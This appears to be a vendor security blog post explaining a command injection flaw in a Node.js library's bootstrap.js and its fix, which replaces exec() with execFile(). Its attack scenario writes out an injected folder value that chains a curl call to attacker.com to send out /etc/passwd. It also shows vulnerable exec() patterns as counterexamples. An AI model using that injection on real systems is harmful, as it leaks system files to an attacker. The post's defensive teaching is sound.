Back to Blog
high SEVERITY8 min read

How command injection happens in Node.js child_process and how to fix it

A high-severity command injection vulnerability was discovered in `bootstrap.js` at line 34, where the `exec()` function was used to run shell commands constructed from a `folder` variable. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates the shell interpolation entirely, closing the door on command injection attacks that could have affected all downstream consumers of this Node.js library.

O
By Orbis AppSec
Published July 23, 2026Reviewed July 23, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js, found in `bootstrap.js` at line 34. The root cause is the use of `exec()` with a template literal string — `cd ${folder} && npm install` — which passes user-influenced input directly to a shell. The fix replaces `exec()` with `execFile('npm', ['install'], { cwd: folder })`, which bypasses the shell entirely by passing arguments as an array and using the `cwd` option to set the working directory, eliminating any possibility of shell metacharacter injection.

Vulnerability at a Glance

cweCWE-78
fixReplaced exec() with execFile() using argument array and cwd option, bypassing shell interpretation
riskArbitrary shell command execution on the host system
languageJavaScript (Node.js)
root causeTemplate literal with unsanitized `folder` variable passed to exec(), which invokes a shell
vulnerabilityCommand Injection via child_process.exec()

How Command Injection Happens in Node.js child_process and How to Fix It

The Vulnerability at a Glance

This is a command injection vulnerability (CWE-78) in Node.js, found in bootstrap.js at line 34. The root cause is the use of exec() with a template literal string — `cd ${folder} && npm install` — which passes user-influenced input directly to a shell. The fix replaces exec() with execFile('npm', ['install'], { cwd: folder }), which bypasses the shell entirely by passing arguments as an array and using the cwd option to set the working directory, eliminating any possibility of shell metacharacter injection.


Introduction

The bootstrap.js file in this Node.js library handles a very practical task: running npm install across multiple project folders during pipeline setup and local development. It's the kind of utility script that developers write quickly, trust implicitly, and rarely revisit. But inside the installPackages() function, a single line of code created a high-severity security hole that could be exploited by anyone with influence over the folder variable.

At line 34, the original code looked like this:

const command = `cd ${folder} && npm install`;
exec(command, (error, stdout, stderr) => { ... });

This pattern — interpolating a variable directly into a shell command string and handing it to exec() — is one of the most common sources of command injection in Node.js applications. And because this is a library, the blast radius extends to every downstream consumer who installs and runs it.


The Vulnerability Explained

What Makes exec() Dangerous Here

Node.js's child_process.exec() works by spawning a shell (/bin/sh on Unix, cmd.exe on Windows) and passing the entire command string to it for interpretation. This is fundamentally different from execFile() or spawn(), which execute a binary directly without invoking a shell.

When you write:

const command = `cd ${folder} && npm install`;
exec(command, callback);

You are asking the operating system shell to interpret command as a shell script. The shell understands operators like &&, ;, |, $(), and backticks. If folder contains any of these characters, the shell will faithfully execute whatever comes after them.

A Concrete Attack Scenario

Imagine a scenario where the folders array is populated from an external source — a configuration file, an environment variable, a CI/CD pipeline parameter, or a package manifest. An attacker who can influence any of these inputs could supply a value like:

legitimate-folder && curl https://attacker.com/exfil?data=$(cat /etc/passwd) && echo

When this value is interpolated into the template literal and passed to exec(), the resulting shell command becomes:

cd legitimate-folder && curl https://attacker.com/exfil?data=$(cat /etc/passwd) && echo && npm install

The shell executes all three commands in sequence: changing directories, exfiltrating /etc/passwd to an attacker-controlled server, and then running npm install as if nothing happened. The callback receives no error, and the attack is invisible in normal logs.

Even without external input, if the folders array is ever extended to include paths derived from package names, repository names, or user-supplied configuration, this code becomes immediately exploitable.

Why This Is Especially Risky in a Library

The PR notes explicitly that this is a Node.js library — not a standalone application. Vulnerabilities in libraries are multiplied by the number of projects that depend on them. A developer who installs this package and runs bootstrap.js in a CI/CD environment with elevated permissions could unknowingly expose their entire build infrastructure to this attack pattern.


The Fix

Before: Shell Interpolation with exec()

// VULNERABLE: folder variable is interpolated into a shell command string
const command = `cd ${folder} && npm install`;

exec(command, (error, stdout, stderr) => {
  if (error) {
    console.error(`\x1b[31mError installing npm packages in ${folder} \x1b[0m`);
    reject(error);
  }
  // ...
});

After: Shell Bypass with execFile()

// SAFE: no shell is invoked; arguments are passed as an array
execFile('npm', ['install'], { cwd: folder }, (error, stdout, stderr) => {
  if (error) {
    console.error(`\x1b[31mError installing npm packages in ${folder} \x1b[0m`);
    reject(error);
  }
  // ...
});

Why This Fix Works

The change makes three specific improvements:

  1. exec()execFile(): execFile() does not spawn a shell. It executes the binary (npm) directly. Without a shell, there is no interpreter to process metacharacters, operators, or subshell syntax. The folder variable can contain && or ; all it wants — those characters are never seen by a shell.

  2. Template literal → argument array: Instead of embedding npm install in a string that a shell parses, the command and its arguments are passed as separate elements in an array: ['install']. This is the structural equivalent of parameterized queries in SQL — the command and its data are kept separate at the API level.

  3. cd ${folder}{ cwd: folder }: The original code used cd as a shell built-in to change directories before running npm install. The fix uses the cwd (current working directory) option, which is a first-class feature of the Node.js child process API. This eliminates the need for any shell command at all, and the folder value is passed as a filesystem path to the OS, not as a string to a shell interpreter.

The result is a function that is structurally immune to command injection, regardless of what value folder contains.


Prevention & Best Practices

1. Prefer execFile() or spawn() Over exec()

As a general rule in Node.js:

Function Spawns a shell? Safe for user input?
exec() ✅ Yes ❌ No
execFile() ❌ No ✅ Yes (with array args)
spawn() ❌ No ✅ Yes (with array args)

If you find yourself reaching for exec(), ask whether you actually need shell features (pipes, redirects, globbing). If the answer is no — and it usually is — use execFile() or spawn() instead.

2. Never Interpolate Variables into Shell Command Strings

Template literals and string concatenation in shell commands are red flags:

// ❌ Dangerous patterns
exec(`cd ${userInput} && do-something`);
exec('process ' + userInput);
exec(`find ${dir} -name ${pattern}`);

// ✅ Safe patterns
execFile('do-something', [], { cwd: userInput });
execFile('find', [dir, '-name', pattern]);

3. Use cwd Instead of cd

Whenever you need to run a command in a specific directory, use the cwd option:

execFile('npm', ['install'], { cwd: targetDirectory }, callback);

This is cleaner, more readable, and eliminates an entire category of shell injection risk.

4. Validate and Allowlist Paths

If the folder values come from any external source, validate them before use:

const path = require('path');
const allowedBase = '/safe/base/directory';

function isSafePath(folder) {
  const resolved = path.resolve(folder);
  return resolved.startsWith(allowedBase);
}

5. Run Static Analysis in CI/CD

The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process caught this issue automatically. Add Semgrep or similar SAST tools to your CI pipeline to catch these patterns before they reach production:

# Example GitHub Actions step
- name: Run Semgrep
  uses: returntocorp/semgrep-action@v1
  with:
    config: p/javascript

6. Reference Standards


Key Takeaways

  • exec() with template literals is structurally unsafe: The line `cd ${folder} && npm install` in installPackages() handed shell interpretation power to whatever value folder held — a dangerous assumption in any codebase.
  • execFile() + argument array = no shell, no injection: The fix in bootstrap.js doesn't just sanitize input — it eliminates the shell entirely, making the injection structurally impossible.
  • cwd replaces cd safely: Using { cwd: folder } instead of cd ${folder} && removes the need for any shell command, reducing the attack surface to zero for directory navigation.
  • Library code deserves extra scrutiny: Because bootstrap.js is part of a library, this vulnerability multiplied across every downstream project. Utility scripts are not exempt from security review.
  • Static analysis catches this pattern reliably: Semgrep's detect-child-process rule flagged this exact issue automatically, demonstrating that SAST tools can prevent this class of vulnerability from reaching production.

How Orbis AppSec Detected This

  • Source: The folder variable in installPackages(), drawn from the folders array which can be influenced by pipeline configuration or external input
  • Sink: exec(command, callback) at bootstrap.js:34, where command is the template literal `cd ${folder} && npm install`
  • Missing control: No sanitization, escaping, or validation of folder before shell interpolation; no use of shell-bypass APIs
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced exec() with execFile('npm', ['install'], { cwd: folder }), eliminating shell invocation and passing the directory as a cwd option rather than a shell string

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in bootstrap.js is a textbook example of how a convenience-driven coding pattern — using exec() with a template literal — can introduce serious security risk with very little visible warning. The code looked reasonable: change to a directory, run npm install. But the mechanism it used to accomplish that task (shell interpolation via exec()) created an injection surface that could be exploited to run arbitrary commands on any system where the script executes.

The fix is elegant precisely because it doesn't try to sanitize the input — it changes the mechanism. By switching to execFile() with an argument array and the cwd option, the shell is removed from the equation entirely. There is nothing left to inject into.

For Node.js developers, the lesson is clear: treat exec() with the same caution you'd apply to raw SQL string concatenation. Reach for execFile() or spawn() by default, use argument arrays, and let the OS handle path resolution through cwd. Your future self — and your downstream users — will thank you.


References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when user-controlled input is embedded into a shell command string passed to exec(), allowing attackers to append additional shell commands using metacharacters like &&, ;, or |.

How do you prevent command injection in Node.js child_process?

Use execFile() or spawn() instead of exec(), and pass arguments as an array rather than a shell string. Use the cwd option to set the working directory instead of using cd in the command string.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input sanitization enough to prevent command injection in Node.js?

Sanitization alone is fragile and error-prone. The preferred approach is to avoid shell invocation entirely by using execFile() or spawn() with argument arrays, which structurally prevents shell interpretation regardless of input content.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep can detect patterns where exec() is called with template literals or string concatenation involving variables, as demonstrated by the rule javascript.lang.security.detect-child-process.detect-child-process that flagged this exact issue.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5344

Related Articles

critical

How shell command injection happens in Python subprocess and how to fix it

A critical shell command injection vulnerability was discovered in the radare2 build system's `meson.py` file, where `os.system()` was used with an f-string to execute git commands. An attacker who could control the `remote` variable could inject arbitrary shell commands. The fix replaces `os.system()` with `subprocess.call()` using a list of arguments, eliminating shell interpretation entirely.

critical

How command injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in `docling/models/stages/ocr/tesseract_ocr_cli_model.py`, where user-controlled inputs such as language identifiers, file paths, and the Tesseract executable path were passed directly into `subprocess.run()` calls without validation. An attacker who could influence these values — for example, by supplying a maliciously crafted document or configuration — could inject arbitrary shell arguments or commands. The fix introduces strict input

critical

How command injection happens in Go ffmpeg-go and how to fix it

A critical command injection vulnerability (CVE-2026-41179, CWE-78) was discovered in `drivers/local/util.go` of a Go media processing service, where user-controlled file paths were passed to `ffmpeg.Input()` without filtering shell metacharacters. Although a `sanitizeFilePath()` function existed to validate paths, it failed to reject characters like `;`, `|`, and backticks that could be weaponized if the underlying ffmpeg-go library constructs shell commands internally. The fix adds a targeted

critical

How command injection happens in Python os.popen() and how to fix it

A critical command injection vulnerability in `spk/itools/src/mounting.py` allowed arbitrary shell command execution through unsanitized iOS device names passed to `os.popen()` and `os.system()` calls. The fix replaced these dangerous functions with `subprocess.run()` using proper argument escaping, eliminating the shell injection attack vector.

critical

How command injection happens in Node.js subprocess and how to fix it

A critical command injection vulnerability in `tools/dev/src/index.ts` allowed attackers to execute arbitrary shell commands through unsanitized subprocess arguments. The fix was simple but essential: explicitly setting `shell: false` in the `spawn()` call to prevent shell metacharacter interpretation. This vulnerability demonstrates why subprocess handling requires explicit security controls in Node.js.

high

How NO_PROXY bypass via crafted URL happens in Node.js axios and how to fix it

A high-severity vulnerability (CVE-2026-42043) in axios versions prior to 1.15.1 allowed attackers to bypass NO_PROXY environment variable restrictions using specially crafted URLs. This meant HTTP requests intended to stay internal could be routed through an attacker-controlled proxy, potentially exposing sensitive data. The fix upgrades axios to version 1.15.1, which correctly validates URLs against NO_PROXY rules.